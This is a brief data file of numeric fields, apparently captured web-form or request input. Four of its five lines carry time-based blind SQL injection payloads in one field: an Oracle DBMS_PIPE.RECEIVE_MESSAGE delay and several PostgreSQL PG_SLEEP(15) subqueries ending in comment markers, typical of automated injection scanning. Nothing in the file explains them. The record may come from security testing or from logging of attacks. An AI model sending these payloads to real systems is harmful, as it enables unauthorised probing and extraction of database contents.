1 1 1 1
1 1 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 1
1 1 -1)) OR 986=(SELECT 986 FROM PG_SLEEP(15))-- 1
1 1 -5) OR 992=(SELECT 992 FROM PG_SLEEP(15))-- 1
1 1 -5 OR 350=(SELECT 350 FROM PG_SLEEP(15))-- 1